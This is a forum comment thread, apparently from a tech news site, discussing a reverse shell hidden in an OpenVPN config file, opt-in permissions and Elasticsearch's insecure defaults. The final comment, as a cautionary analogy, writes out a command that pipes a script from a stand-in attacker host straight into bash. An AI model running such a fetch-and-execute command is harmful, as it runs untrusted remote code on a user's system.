News for hackers. Stuff that matters.
Re:Reverse Shell from an OpenVPN Configuration File by CapacitorSet on Friday June 22, 2018 @08:01AM (#17373284)
That's a good example of why permissions should be opt-in, not opt-out.

I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.

Re:Reverse Shell from an OpenVPN Configuration File by rjzzleep on Friday June 22, 2018 @08:37AM (#17373460)
Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised?

Amazon even has an article about securing ES

https://aws.amazon.com/blogs/security/how-to-control-access-...

EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attac...

> Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."

Re:Reverse Shell from an OpenVPN Configuration File by gnur on Friday June 22, 2018 @11:16AM (#17374591)
The free version of elasticsearch still has no real authn/authz/rbac built in.
Re:Reverse Shell from an OpenVPN Configuration File by subway on Friday June 22, 2018 @09:37AM (#17373830)
That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.
Re:Reverse Shell from an OpenVPN Configuration File by CloudNetworking on Friday June 22, 2018 @12:22PM (#17375199)
I'd say that was MongoDB.
Re:Reverse Shell from an OpenVPN Configuration File by Piskvorrr on Friday June 22, 2018 @11:20AM (#17374633)
Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts"

By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default.

(Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")